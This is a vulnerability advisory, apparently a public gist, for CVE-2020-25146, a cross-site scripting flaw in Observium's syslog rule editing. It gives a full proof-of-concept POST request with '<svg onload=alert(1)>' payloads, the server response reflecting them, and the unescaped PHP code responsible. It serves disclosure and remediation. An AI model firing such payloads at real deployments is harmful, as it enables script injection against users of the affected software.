ahpaleus / **CVE-2020-25146.txt**

Created 2 years ago

CVE-2020-25146.txt

```
CVE-2020-25146
-----------------------------------------
Cross Site Scripting in syslog_rules -> edit_syslog_rule

-----------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject a

[Additional Information]


Example Request that allows to trigger XSS payload.

POST /syslog_rules/ HTTP/1.1
Host: localhost
Connection: close
Content-Length: 329
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: OBSID=91no8j38fs7p4it53k88idveh85q33ea; observium_screen_ratio=1; observium_screen_resolution=3840x2160

la_id=5,<svg+onload%3dalert(1)>&la_name=%26lt%3Bsvg%2Fonload%3Dalert%281%29%26gt%3B111&la_descr=%26lt%3Bsvg%2Fonload%3Dalert%281%29%26gt%3B

Partial of server response:

HTTP/1.1 200 OK
Date: Tue, 11 Aug 2020 11:05:29 GMT
Server: Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.2k-fips PHP/7.0.30
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
X-Powered-By: PHP/7.0.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=91no8j38fs7p4it53k88idveh85q33ea; expires=Tue, 11-Aug-2020 11:35:30 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: sandbox allow-forms allow-scripts allow-same-origin;
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 968353

<!DOCTYPE html>
<html lang="en">
<head>
    <base href="https://localhost/"/>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
(…)
    <div class="alert alert-info"><button type="button" class="close" data-dismiss="alert">&times;</button>
      <div>Syslog Rule updated (5,<svg onload=alert(1)>)</div>
    </div>



Below we present vulnerable code:

/var/opt/observium/html/pages/syslog_rules.inc.php:

 28   switch ($vars['action'])
 29   {
 30     case 'edit_syslog_rule':
 31       $update_array = array('la_name'    => $vars['la_name'],
 32                             'la_descr'   => $vars['la_descr'],
 33                             'la_rule'    => $vars['la_rule'],
 34                             'la_disable' => (isset($vars['la_disable']) ? 1 : 0));
 35       $rows_updated = dbUpdate($update_array, 'syslog_rules', '`la_id` = ?', array($vars['la_id']));
 36
 37       if ($rows_updated)
 38       {
 39         set_obs_attrib('syslog_rules_changed', time()); // Trigger reload syslog script
 40         print_message('Syslog Rule updated ('.$vars['la_id'].')');
 41       }
 42       unset($vars['la_id']);
 43       break;



-----------------------------------------
```

```
82
83  [VulnerabilityType Other]
84  Cross Site Scripting
85
86  ---------------------------------------
87
88  [Vendor of Product]
89  https://www.observium.org/
90
91  ---------------------------------------
92
93  [Affected Product Code Base]
94  Professional, Enterprise & Community 20.8.10631
95
96  ---------------------------------------
97
98  [Affected Component]
99  syslog_rules -> edit_syslog_rule
100
101 ---------------------------------------
102
103 [Attack Type]
104 Remote
105
106 ---------------------------------------
107
108 [Reference]
109 https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
110 https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf
111 https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
112 https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
113 https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
114
115
116
117 ---------------------------------------
118
119 [Discoverer]
120 Maciej Domański
121
122 ---------------------------------------
123
124
125 Maciej Domański / AFINE.com team
```